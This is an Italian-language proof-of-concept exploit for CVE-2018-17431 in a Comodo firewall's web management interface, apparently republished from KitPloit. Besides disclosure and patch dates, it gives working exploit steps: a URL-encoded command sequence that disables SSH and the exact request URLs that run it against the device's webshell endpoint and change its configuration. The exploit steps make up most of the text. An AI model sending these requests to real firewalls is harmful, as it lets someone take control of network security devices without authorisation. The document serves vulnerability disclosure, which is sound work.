CVE-2018-17431-PoC

Versione: precedente alla 2.7.0 e 1.5.0

Testato su: Windows:firefox/chrome - Kali:firefox

Data di scoperta: 2018-08-15 (segnalato lo stesso giorno)

Conferma che il bug esiste: 2018-09-22 (Ticket ID: XWR-503-79437)

Patch rilasciata: 2018-11-23 Note di rilascio da Comodo

Exploit:

1. Simulazione WebShell:

   root@kitploit:~

    Ad esempio, per disabilitare SSH nella web shell:
        - service [hit enter]
        - ssh [hit enter]
        - disable [hit enter]
   

2. Codifica

   root@kitploit:~

    codifica la sequenza precedente con URL ECODING
    (Ho usato il plugin burp encoder)
   
    %73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a
   

3. Esegui

   root@kitploit:~

    URL di base: https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=[Encoded_Command]&l=[Integer]&_=1534440840152
    
    
              https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=%0a&l=[Integer]&_=1534440840152 (invio extra per eseguire il comando)
              
   
    Esempio: https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=21&_=1534440840152
    
          https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%0a&l=21&_=1534440840152
   

Verrà mostrata una pagina con il messaggio "Configuration has been altered" e la configurazione verrà modificata!

Con questa tecnica possiamo simulare tutti i comandi WebShell.